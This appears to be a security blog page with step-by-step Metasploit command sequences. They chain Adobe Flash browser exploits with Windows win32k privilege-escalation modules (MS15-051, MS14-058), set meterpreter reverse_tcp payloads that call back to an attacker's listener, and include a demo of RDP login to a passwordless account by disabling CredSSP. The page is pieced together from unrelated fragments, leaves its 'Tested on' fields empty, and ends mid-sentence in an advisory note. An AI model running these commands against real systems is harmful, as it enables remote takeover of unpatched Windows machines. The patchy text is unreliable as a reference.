Tested on :

Description :

This module exploits improper object handling in the win32k.sys kernel mode driver. This module has been tested on vulnerable builds of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64.

Commands :

Remote exploitation
use exploit/multi/browser/adobe_flash_shader_drawing_fill
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
run
getuid
Local privileges escalation
use exploit/windows/local/ms15_051_client_copy_image
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4445
set SESSION 1
run
getuid

Timeline :

Vulnerability discovered and reported to the vendor by Gal Goldshtein and Viktor Minin of Citadel
Patched by the vendor through MS16-007 the 2016-01-12
Details of the vulnerability provided by Michael Schierl @mihi42 the 2016-01-12

Demo :

- On the target Windows 10
Create a local user without password
Grant the created user RDP
- On the client
Add "enablecredsspsupport:i:0" in the ".RDP" file
Connect to the target with the username and without password

Tested on :

Description :

This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability can be triggered through the use of TrackPopupMenu. Under special conditions, the NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary code execution. This module has been tested successfully on Windows XP SP3, Windows 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows 2008 R2 SP1 64 bits.

Commands :

use exploit/windows/browser/adobe_flash_uncompress_zlib_uninitialized
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
run
getuid
sysinfo
use exploit/windows/local/ms14_058_track_popup_menu
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
set LPORT 4445
set SESSION 1
run
getuid
sysinfo

Microsoft has release, December 29th 2015, an emergency patch, with the updated of one security advisory concerning Adobe Flash Player.

Microsoft Security Advisory 2755801

MSA-2755801,released during September 2012, has been updated. The security advisory is concerning updates for vulnerabilities in Adobe Flash Player in Internet Explorer 10, Internet Explorer 11 and Microsoft Edge. KB3132372 has been released for supported editions of for: